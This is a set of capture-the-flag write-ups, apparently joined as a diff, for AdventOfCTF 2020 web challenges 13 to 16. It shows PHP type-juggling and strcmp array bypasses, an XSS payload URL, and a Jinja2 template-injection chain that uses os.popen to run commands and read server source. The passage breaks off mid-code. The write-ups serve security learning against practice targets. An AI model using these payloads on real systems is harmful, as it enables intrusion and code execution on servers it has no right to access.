<root>PCFkb2N0eXBlIGh0bWw+CjxodG1sIGNsYXNzPSJuby1qcyIgbGFuZz0iIj4KICAgIDxoZWFkPgogICAgICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgICAgICA8bWV0YSBodHRwLWVxdWl2PSJ4LXVhLWNvbXBhdGlibGUiIGNvbnRlbnQ9ImllPWVkZ2UiPgogICAgICAgIDx0aXRsZT5BZHZlbnQgb2YgQ1RGIDEzPC90aXRsZT4KICAgICAgICA8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iIj4KICAgICAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPgoKICAgICAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii9zdHlsZS5jc3MiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0ic2NyZWVuIiAvPgogICAgICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly91c2UuZm9udGF3ZXNvbWUuY29tL3JlbGVhc2VzL3Y1LjYuMy9jc3MvYWxsLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQtVUhSdFpMSStwYnh0SENXcDF0NzdCaTFMNFp0aXFycUQ4MEtuNFo4TlRTUnlNQTJGZDMzbjVkUThsV1VFMDBzLyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CiAgICAgICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuMi4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PgogICAgICAgIDxzdHlsZT4KICAgICAgICAgLnJvdy1tYXJnaW4tMDUgeyBtYXJnaW4tdG9wOiAwLjVlbTsgfQogICAgICAgICAucm93LW1hcmdpbi0xMCB7IG1hcmdpbi10b3A6IDEuMGVtOyB9CiAgICAgICAgIC5yb3ctbWFyZ2luLTIwIHsgbWFyZ2luLXRvcDogMi4wZW07IH0KICAgICAgICAgLnJvdy1tYXJnaW4tMzAgeyBtYXJnaW4tdG9wOiAzLjBlbTsgfQogICAgICAgIDwvc3R5bGU+CiAgICA8L2hlYWQ+CiAgICA8Ym9keT4KICAgICAgICA8ZGl2IGNsYXNzPSJqdW1ib3Ryb24gYmctdHJhbnNwYXJlbnQgbWItMCByYWRpdXMtMCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14bC02IG14LWF1dG8iPgogICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9ImRpc3BsYXktMiI+QWR2ZW50IG9mIENURiA8c3BhbiBjbGFzcz0idmltLWNhcmV0Ij4xMzwvc3Bhbj48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsZWFkIG1iLTMgdGV4dC1tb25vIHRleHQtd2FybmluZyI+WW91ciBkYWlseSBkb3NlIG9mIENURiBmb3IgRGVjZW1iZXI8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteGwtNiBteC1hdXRvIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCB0ZXh0LWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXMgdGhpcyB0aGUgZW5kIG9mIHlvdXIgbmlnaHRtYXJlPwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5IZXJlIGlzIHlvdXIgZmxhZzogPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZsYWcgPSAiTk9WSXs8eG1sPm5pZ2h0bWFyZXM8L3htbD59IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJXaG9hYWEuLi4gbm90IHRoYXQgZWFzeS4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWZvb3RlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0icmVzdWx0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IHJvdy1tYXJnaW4tMzAiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14bC02IG14LWF1dG8iPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTMgdGV4dC1jZW50ZXIgYmctZGFyayB0ZXh0LXdoaXRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Ii9sb2dvLnBuZyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOSBvZmZzZXQtbWQtMSBhbGlnbi1taWRkbGUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9InRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYWxpZ24tbWlkZGxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGhlIEFkdmVudCBvZiBDVEYgaXMgYnJvdWdodCB0byB5b3UgYnkgPGEgaHJlZj0iaHR0cDovL3d3dy5ub3ZpLm5sIj5OT1ZJIEhvZ2VzY2hvb2w8L2E+LiBJdCBpcyBidWlsdCBieSA8YSBocmVmPSJodHRwczovL3R3aXR0ZXIuY29tL2NyZWRtcC8iIGNsYXNzPSJpY29Ud2l0dGVyIiB0aXRsZT0iVHdpdHRlciI+PGkgY2xhc3M9ImZhYiBmYS10d2l0dGVyIj48L2k+IEBjcmVkbXA8L2E+LiBJZiB5b3UgYXJlIGxvb2tpbmcgZm9yIGEgRHV0Y2ggQ3liZXIgU2VjdXJpdHkgQmFjaGVsb3IgZGVncmVlIG9yIGJvb3RjYW1wLCA8YSBocmVmPSJodHRwczovL3d3dy5ub3ZpLm5sIj5jaGVjayB1cyBvdXQ8L2E+LgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2JvZHk+CjwvaHRtbD4K</root>
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
As we can see there is a big base64 encoded string. If we decode this and remove the template HTML from it, we're left with the following:
|
||||
|
||||
```html
|
||||
<p>Here is your flag: </p>
|
||||
<?php
|
||||
$flag = "NOVI{<xml>nightmares</xml>}";
|
||||
echo "Whoaaa... not that easy.";
|
||||
?>
|
||||
```
|
||||
|
||||
We got the flag! It's `NOVI{<xml>nightmares</xml>}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#13-14).
|
||||
@@ -0,0 +1,112 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 14"
|
||||
subtitle = "Challenge 14 - AdventOfCTF"
|
||||
date = 2020-12-14T19:45:51+01:00
|
||||
description = "A writeup for challenge 14 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/dd04640480d764ab09eea047cde749cd.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"php",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1400
|
||||
|
||||
## Description
|
||||
|
||||
We are testing a new 2-factor security system for Santa's deepest secrets. It should be pretty secure!
|
||||
|
||||
Visit <https://14.adventofctf.com> to start the challenge.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
Upon opening the challenge website we're greeted with some PHP code, as well as two input fields. The PHP code is the following:
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
||||
ini_set('display_errors', 0);
|
||||
|
||||
include("flag.php");
|
||||
|
||||
if (isset($_POST["password"], $_POST["verifier"])) {
|
||||
$password = $_POST["password"];
|
||||
$verifier = $_POST["verifier"];
|
||||
|
||||
$hash = sha1($password + $secret_salt);
|
||||
$reference = substr($hash, 0, 7);
|
||||
|
||||
if ($verifier === $reference) {
|
||||
echo $flag;
|
||||
die();
|
||||
}
|
||||
}
|
||||
|
||||
header("Location: /index.php?error=That was not right.");
|
||||
exit();
|
||||
|
||||
?>
|
||||
```
|
||||
|
||||
As we can see, we only get the flag if `$verifier` is equal to `$reference`, where `$reference` is the `SHA-1` hash of the password in our request together with `$secret_salt`.
|
||||
|
||||
_Note: when I started with this challenge, [@credmp](https://twitter.com/credmp) had already posted a hint which I, unfortunately, saw. It said "The salt is a number."._
|
||||
|
||||
## Type Juggling
|
||||
|
||||
Because we already know `$secret_salt` is a number, we can leverage PHP type juggling to generate a known value for the hashing algorithm. But first, what is type juggling?
|
||||
|
||||
Because PHP does not support explicit type definition in a variable declaration, a variable's type is determined by the context in which the variable is used. For instance, if a `string` value is assigned to a variable `$var`, `$var` becomes a string. But if an `int` value is then assigned to `$var`, it becomes an int. This means that if we have a `string` and add an `int` to it, the outcome will be an `int`. The value of this `int` depends on what is inside the `string`. If the `string` starts with a number, it will be interpreted as an `int` with the value of the number inside the `string`, and if it starts with a letter, it will be interpreted as `0`.
|
||||
|
||||
For example, if we have a variable with the value `"hello"`, it will be converted to `0`. And if we have a variable with the value `"24"` or `"12ab"` it will be interpreted as `24` and `12` respectively.
|
||||
|
||||
## Generating a verifier value
|
||||
|
||||
To see what input will be converted to what output, we can create a little script that will generate those values for us. An example would be the following:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$password = "1a";
|
||||
$secret_salt = "11";
|
||||
|
||||
$hash = sha1($password + $secret_salt);
|
||||
$reference = substr($hash, 0, 7);
|
||||
|
||||
echo ($password + $secret_salt)."\n";
|
||||
echo $hash."\n";
|
||||
echo $reference."\n";
|
||||
?>
|
||||
```
|
||||
|
||||
We can then run this script on our local machine or on a website like <https://sandbox.onlinephpfunctions.com/>.
|
||||
|
||||
This script will take the two inputs and give us the outcome of the addition with the `$secret_salt` (I used 11 as the salt number but it could be any number), the generated hash and thus the `$verifier` input we need for the original script.
|
||||
|
||||
If we make `$password` a really big number like `922337203685477580792233720368547758079223372036854775807` we see that the output of the addition will be written in the scientific notation if it is converted to a string. And because the `sha1()` function wants a `string` for the input, it will also get the shrunk-down version. This means that if we make `$password` big enough, the value of `$secret_salt` will not matter as it is not significant enough for the output.
|
||||
|
||||
If we thus enter `922337203685477580792233720368547758079223372036854775807` as `$password` in the above script, we get the following output:
|
||||
|
||||
```text
|
||||
9.2233720368548E+56
|
||||
48a888ebec04f516e8b765bc3879354411ac2387
|
||||
48a888e
|
||||
```
|
||||
|
||||
If we thus use `922337203685477580792233720368547758079223372036854775807` as the password and `48a888e` as the verifier, it should echo the flag.
|
||||
|
||||
## Solution
|
||||
|
||||
After entering the above form data and submitting it, we get the flag: `NOVI{typ3_juggl1ng_f0r_l1fe}`!
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#14-15).
|
||||
@@ -0,0 +1,97 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 15"
|
||||
subtitle = "Challenge 15 - AdventOfCTF"
|
||||
date = 2020-12-31T22:34:24+01:00
|
||||
description = "A writeup for challenge 15 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/9c6afd807a15973b962cf3aee3dbe836.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"php",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1500
|
||||
|
||||
## Description
|
||||
|
||||
We have now created a flag verifier service. Enter a flag to see if it matches the challenge you are trying to solve.
|
||||
|
||||
Visit <https://15.adventofctf.com> to start the challenge.
|
||||
|
||||
## Recon
|
||||
|
||||
Upon opening the challenge website we're greeted with some PHP code:
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
||||
ini_set('display_errors', 0);
|
||||
|
||||
include("flag.php");
|
||||
|
||||
if (isset($_POST["flag"])) {
|
||||
$f = $_POST["flag"];
|
||||
|
||||
if (strcmp($f, $flag) == 0 || sha1($flag) == sha1($f)) {
|
||||
echo $flag;
|
||||
die();
|
||||
}
|
||||
}
|
||||
|
||||
header("Location: /index.php?error=Wrong flag");
|
||||
exit();
|
||||
```
|
||||
|
||||
Besides this code, we also get an input field for the contents of the `flag` parameter.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
When scanning this code, we see that `$flag` is compared to our input. It firstly does a `strcmp`, and, if it is not `0`, it checks if the `sha1` hashes of both variables are equal.
|
||||
|
||||
The thing with PHP and `strcmp` is that PHP will do some type juggling before checking the values. You can read more about PHP type juggling in the [writeup of yesterday's challenge]({{% ref "writeups/adventofctf/2020/challenge_14.md" %}}#type-juggling).
|
||||
|
||||
## Exploit
|
||||
|
||||
This time, however, we have to use type juggling in a different way. In PHP, we can also pass arrays as a parameter. We do this by placing brackets after the parameter name like so: `flag[]=a`. And this is exactly how we solve it.
|
||||
|
||||
This works as `strcmp("string", [])` will always return 0 because PHP.
|
||||
|
||||
We can either use software like burp repeater or cURL to manually create a request, or change the contents of the `name` attribute to `flag[]`.
|
||||
|
||||
## Solution
|
||||
|
||||
After then making the request, we get the flag: `NOVI{typ3_juggl1ng_f0r_l1fe_seriously}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#15-16).
|
||||
|
||||
## Extra
|
||||
|
||||
Because this challenge also has an XSS vulnerability, we can use it to solve the challenge automatically for us.
|
||||
|
||||
To do this, we firstly have to create some HTML code which executes some javascript code which then actually solves the challenge.
|
||||
|
||||
I came up with the following code:
|
||||
|
||||
```html
|
||||
<script>
|
||||
setTimeout(() => {
|
||||
let flagInput = document.getElementById("flag");
|
||||
flagInput.name = "flag[]";
|
||||
flagInput.value = "hi";
|
||||
flagInput.form.submit();
|
||||
}, 1000);
|
||||
</script>
|
||||
```
|
||||
|
||||
If we then put this in the `error` parameter in the URL, it will solve the challenge automatically. The resulting URL is the following: `https://15.adventofctf.com/index.php?error=<script>setTimeout(()=>{let flagInput=document.getElementById("flag");flagInput.name="flag[]";flagInput.value="hi";flagInput.form.submit()},1000)</script>`.
|
||||
@@ -0,0 +1,365 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 16"
|
||||
subtitle = "Challenge 16 - AdventOfCTF"
|
||||
date = 2021-01-01T01:44:45+01:00
|
||||
description = "A writeup for challenge 16 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/246397ca184f8b03ac8fecf50ee1051e.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"python",
|
||||
"flask",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1600
|
||||
|
||||
## Description
|
||||
|
||||
Santa has launched a new product, the Emoji finder! This is the first version, can you find your favorite emoji?
|
||||
|
||||
Visit <https://16.adventofctf.com> to start the challenge.
|
||||
|
||||
## Recon
|
||||
|
||||
Upon opening the challenge website we're greeted with some text and an input field. The text says the following: "Santa likes emojis! Enter one to find out what it means. Try 'santa' for instance.". If we then enter 'santa' in the input field and press the search button, we get a santa emoji: 🎅.
|
||||
|
||||
When opening the source of the page we also find the following comment: "Here is a cheatsheet of the emojis you can use: <https://www.webfx.com/tools/emoji-cheat-sheet/>" and some javascript:
|
||||
|
||||
```js
|
||||
function send() {
|
||||
let emoji = $("#emoji")[0].value;
|
||||
if (emoji.length > 0) {
|
||||
$.post("/", { emoji: emoji }, function (data) {
|
||||
$("#msg")[0].innerHTML = "<b>" + data + "</b>";
|
||||
});
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
_Note: when I was writing this write-up, I noticed that the subtitle hints at the `os` module as the letters "os" are marked yellow in "d**os**e"._
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
After trying several things, [Server-Side Template Injection](https://portswigger.net/research/server-side-template-injection) (SSTI) came to mind.
|
||||
|
||||
SSTI occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
|
||||
|
||||
An easy way to check for SSTI is by using the following graph from PortSwigger:
|
||||
|
||||
{{< figure src="/img/writeups/adventofctf/2020/16/ssti_graph.png" title="SSTI Graph (by PortSwigger)" >}}
|
||||
|
||||
So I followed this graph and got the following results:
|
||||
|
||||
`emoji=${7*7}` -> `You entered an unknown emoji: ${7*7}`
|
||||
`emoji={{7*7}}` -> `You entered an unknown emoji: 49`
|
||||
`emoji={{7*'7'}}` -> `You entered an unknown emoji: 7777777`
|
||||
|
||||
This means the server is most likely using either Jinja2 of Twig.
|
||||
|
||||
## Exploit
|
||||
|
||||
Now that we found the vulnerability, we can start exploiting it. Let's start by getting the config. We can try to get it by entering `{{config}}` or `{{config.items()}}` as the emoji.
|
||||
|
||||
{{< code language="python" title="Result" >}}
|
||||
|
||||
```python
|
||||
dict_items([
|
||||
('ENV', 'production'),
|
||||
('DEBUG', True),
|
||||
('TESTING', True),
|
||||
('PROPAGATE_EXCEPTIONS', None),
|
||||
('PRESERVE_CONTEXT_ON_EXCEPTION', None),
|
||||
('SECRET_KEY', Undefined),
|
||||
('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)),
|
||||
('USE_X_SENDFILE', False),
|
||||
('SERVER_NAME', None),
|
||||
('APPLICATION_ROOT', '/'),
|
||||
('SESSION_COOKIE_NAME', 'session'),
|
||||
('SESSION_COOKIE_DOMAIN', False),
|
||||
('SESSION_COOKIE_PATH', None),
|
||||
('SESSION_COOKIE_HTTPONLY', True),
|
||||
('SESSION_COOKIE_SECURE', False),
|
||||
('SESSION_COOKIE_SAMESITE', None),
|
||||
('SESSION_REFRESH_EACH_REQUEST', True),
|
||||
('MAX_CONTENT_LENGTH', None),
|
||||
('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)),
|
||||
('TRAP_BAD_REQUEST_ERRORS', None),
|
||||
('TRAP_HTTP_EXCEPTIONS', False),
|
||||
('EXPLAIN_TEMPLATE_LOADING', True),
|
||||
('PREFERRED_URL_SCHEME', 'http'),
|
||||
('JSON_AS_ASCII', False),
|
||||
('JSON_SORT_KEYS', True),
|
||||
('JSONIFY_PRETTYPRINT_REGULAR', True),
|
||||
('JSONIFY_MIMETYPE', 'application/json'),
|
||||
('TEMPLATES_AUTO_RELOAD', None),
|
||||
('MAX_COOKIE_SIZE', 4093),
|
||||
('flag', 'HKQ\x1f\x7f~e|\x06{r9<\x03/3z\x12#Rr )G#*\x14,#dp=Z@AP\x0c*'),
|
||||
('CLD_CONTINUED', 6),
|
||||
('CLD_DUMPED', 3),
|
||||
('CLD_EXITED', 1),
|
||||
('CLD_TRAPPED', 4),
|
||||
('EX_CANTCREAT', 73),
|
||||
('EX_CONFIG', 78),
|
||||
('EX_DATAERR', 65),
|
||||
('EX_IOERR', 74),
|
||||
('EX_NOHOST', 68),
|
||||
('EX_NOINPUT', 66),
|
||||
('EX_NOPERM', 77),
|
||||
('EX_NOUSER', 67),
|
||||
('EX_OK', 0),
|
||||
('EX_OSERR', 71),
|
||||
('EX_OSFILE', 72),
|
||||
('EX_PROTOCOL', 76),
|
||||
('EX_SOFTWARE', 70),
|
||||
('EX_TEMPFAIL', 75),
|
||||
('EX_UNAVAILABLE', 69),
|
||||
('EX_USAGE', 64),
|
||||
('F_LOCK', 1),
|
||||
('F_OK', 0),
|
||||
('F_TEST', 3),
|
||||
('F_TLOCK', 2),
|
||||
('F_ULOCK', 0),
|
||||
('GRND_NONBLOCK', 1),
|
||||
('GRND_RANDOM', 2),
|
||||
('NGROUPS_MAX', 32),
|
||||
('O_ACCMODE', 2097155),
|
||||
('O_APPEND', 1024),
|
||||
('O_ASYNC', 8192),
|
||||
('O_CLOEXEC', 524288),
|
||||
('O_CREAT', 64),
|
||||
('O_DIRECT', 16384),
|
||||
('O_DIRECTORY', 65536),
|
||||
('O_DSYNC', 4096),
|
||||
('O_EXCL', 128),
|
||||
('O_EXEC', 2097152),
|
||||
('O_LARGEFILE', 0),
|
||||
('O_NDELAY', 2048),
|
||||
('O_NOATIME', 262144),
|
||||
('O_NOCTTY', 256),
|
||||
('O_NOFOLLOW', 131072),
|
||||
('O_NONBLOCK', 2048),
|
||||
('O_PATH', 2097152),
|
||||
('O_RDONLY', 0),
|
||||
('O_RDWR', 2),
|
||||
('O_RSYNC', 1052672),
|
||||
('O_SEARCH', 2097152),
|
||||
('O_SYNC', 1052672),
|
||||
('O_TMPFILE', 4259840),
|
||||
('O_TRUNC', 512),
|
||||
('O_TTY_INIT', 0),
|
||||
('O_WRONLY', 1),
|
||||
('POSIX_FADV_DONTNEED', 4),
|
||||
('POSIX_FADV_NOREUSE', 5),
|
||||
('POSIX_FADV_NORMAL', 0),
|
||||
('POSIX_FADV_RANDOM', 1),
|
||||
('POSIX_FADV_SEQUENTIAL', 2),
|
||||
('POSIX_FADV_WILLNEED', 3),
|
||||
('PRIO_PGRP', 1),
|
||||
('PRIO_PROCESS', 0),
|
||||
('PRIO_USER', 2),
|
||||
('P_ALL', 0),
|
||||
('P_NOWAIT', 1),
|
||||
('P_NOWAITO', 1),
|
||||
('P_PGID', 2),
|
||||
('P_PID', 1),
|
||||
('P_WAIT', 0),
|
||||
('RTLD_GLOBAL', 256),
|
||||
('RTLD_LAZY', 1),
|
||||
('RTLD_LOCAL', 0),
|
||||
('RTLD_NODELETE', 4096),
|
||||
('RTLD_NOLOAD', 4),
|
||||
('RTLD_NOW', 2),
|
||||
('R_OK', 4),
|
||||
('SCHED_BATCH', 3),
|
||||
('SCHED_FIFO', 1),
|
||||
('SCHED_IDLE', 5),
|
||||
('SCHED_OTHER', 0),
|
||||
('SCHED_RESET_ON_FORK', 1073741824),
|
||||
('SCHED_RR', 2),
|
||||
('SEEK_CUR', 1),
|
||||
('SEEK_END', 2),
|
||||
('SEEK_SET', 0),
|
||||
('ST_APPEND', 256),
|
||||
('ST_MANDLOCK', 64),
|
||||
('ST_NOATIME', 1024),
|
||||
('ST_NODEV', 4),
|
||||
('ST_NODIRATIME', 2048),
|
||||
('ST_NOEXEC', 8),
|
||||
('ST_NOSUID', 2),
|
||||
('ST_RDONLY', 1),
|
||||
('ST_RELATIME', 4096),
|
||||
('ST_SYNCHRONOUS', 16),
|
||||
('ST_WRITE', 128),
|
||||
('TMP_MAX', 10000),
|
||||
('WCONTINUED', 8),
|
||||
('WCOREDUMP', <built-in function WCOREDUMP>),
|
||||
('WEXITED', 4),
|
||||
('WEXITSTATUS', <built-in function WEXITSTATUS>),
|
||||
('WIFCONTINUED', <built-in function WIFCONTINUED>),
|
||||
('WIFEXITED', <built-in function WIFEXITED>),
|
||||
('WIFSIGNALED', <built-in function WIFSIGNALED>),
|
||||
('WIFSTOPPED', <built-in function WIFSTOPPED>),
|
||||
('WNOHANG', 1),
|
||||
('WNOWAIT', 16777216),
|
||||
('WSTOPPED', 2),
|
||||
('WSTOPSIG', <built-in function WSTOPSIG>),
|
||||
('WTERMSIG', <built-in function WTERMSIG>),
|
||||
('WUNTRACED', 2),
|
||||
('W_OK', 2),
|
||||
('X_OK', 1)
|
||||
])
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
|
||||
If we take a look at it we find an item called 'flag' but it looks like it is encrypted in some way:
|
||||
|
||||
```python
|
||||
('flag', 'HKQ\x1f\x7f~e|\x06{r9<\x03/3z\x12#Rr )G#*\x14,#dp=Z@AP\x0c*')
|
||||
```
|
||||
|
||||
## Decrypting the flag
|
||||
|
||||
Decrypting the flag was easier said then done. I tried several algorithms but none resulted in any usefull output and it doesn't look like the output of any common encryption algorithm.
|
||||
|
||||
This is when I started to try to get the source of the server so we can see how it gets and/or creates the flag. To get the source we first need arbitrary code execution.
|
||||
|
||||
### Arbitrary Code Execution (ACE)
|
||||
|
||||
The easiest way to get ACE is using the `os` module in python. To use it, the server has to have it imported though.
|
||||
|
||||
We can find the `os` module in the `globals` dictionary, which, in turn, can be found in the `__init__` function of the `Config` class. To get to it we can use the following path:
|
||||
|
||||
```python
|
||||
config.__class__.__init__.__globals__["os"]
|
||||
```
|
||||
|
||||
If we enter this as the input but within brackets, we get the following output:
|
||||
|
||||
```text
|
||||
<module 'os' from '/usr/local/lib/python3.7/os.py'>
|
||||
```
|
||||
|
||||
_Note: if the `os` module wouldn't have been there, you could look for another module in `{{config.__class__.__init__.__globals__}}`_
|
||||
|
||||
This means our exploit works and we can use it to execute commands. To do this, we can use the `popen` function like so:
|
||||
|
||||
```python
|
||||
config.__class__.__init__.__globals__['os'].popen('ls').read()
|
||||
```
|
||||
|
||||
### Grabbing the file
|
||||
|
||||
If we use the above code as the input, we get the following return message:
|
||||
|
||||
```text
|
||||
You entered an unknown emoji: __pycache__
|
||||
app.py
|
||||
requirements.txt
|
||||
serve.sh
|
||||
static
|
||||
supervisord.pid
|
||||
templates
|
||||
```
|
||||
|
||||
The source of the server is probably `app.py` as it's the default for flask applications. Let's `cat` it:
|
||||
|
||||
```python
|
||||
config.__class__.__init__.__globals__['os'].popen('cat app.py').read()
|
||||
```
|
||||
|
||||
{{< code language="python" title="app.py" >}}
|
||||
|
||||
```python
|
||||
import random
|
||||
from flask import Flask, render_template_string, render_template, request
|
||||
import os
|
||||
import emojis
|
||||
|
||||
app = Flask(__name__)
|
||||
app.config['SECRET_KEY'] = 'Leer alles over Software Security bij Arjen (follow @credmp) at https://www.novi.nl'
|
||||
|
||||
def magic(flag, key):
|
||||
return ''.join(chr(x ^ ord(flag[x]) ^ ord(key[::-1][x]) ^ ord(key[x])) for x in range(len(flag)))
|
||||
|
||||
file = open("/tmp/flag.txt", "r")
|
||||
flag = file.read()
|
||||
|
||||
app.config['flag'] = magic(flag, '112f3a99b283a4e1788dedd8e0e5d35375c33747')
|
||||
flag = ""
|
||||
|
||||
os.remove("/tmp/flag.txt")
|
||||
|
||||
@app.route('/', methods=['GET', 'POST'])
|
||||
def index():
|
||||
if request.method == 'POST':
|
||||
emoji="unknown"
|
||||
try:
|
||||
p = request.values.get('emoji')
|
||||
if p != None:
|
||||
emoji = emojis.db.get_emoji_by_alias(p)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
pass
|
||||
|
||||
try:
|
||||
if emoji == None:
|
||||
return render_template_string("You entered an unknown emoji: %s" % p)
|
||||
else:
|
||||
return render_template_string("You entered %s which is %s. It's aliases %s" % (p, emoji.emoji, emoji.aliases))
|
||||
except Exception as e:
|
||||
print(e)
|
||||
return 'Exception'
|
||||
|
||||
return render_template('index.html')
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=8000)
|
||||
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
|
||||
When looking at the file, we see that the flag variable is set to the output of the `magic` function:
|
||||
|
||||
```python
|
||||
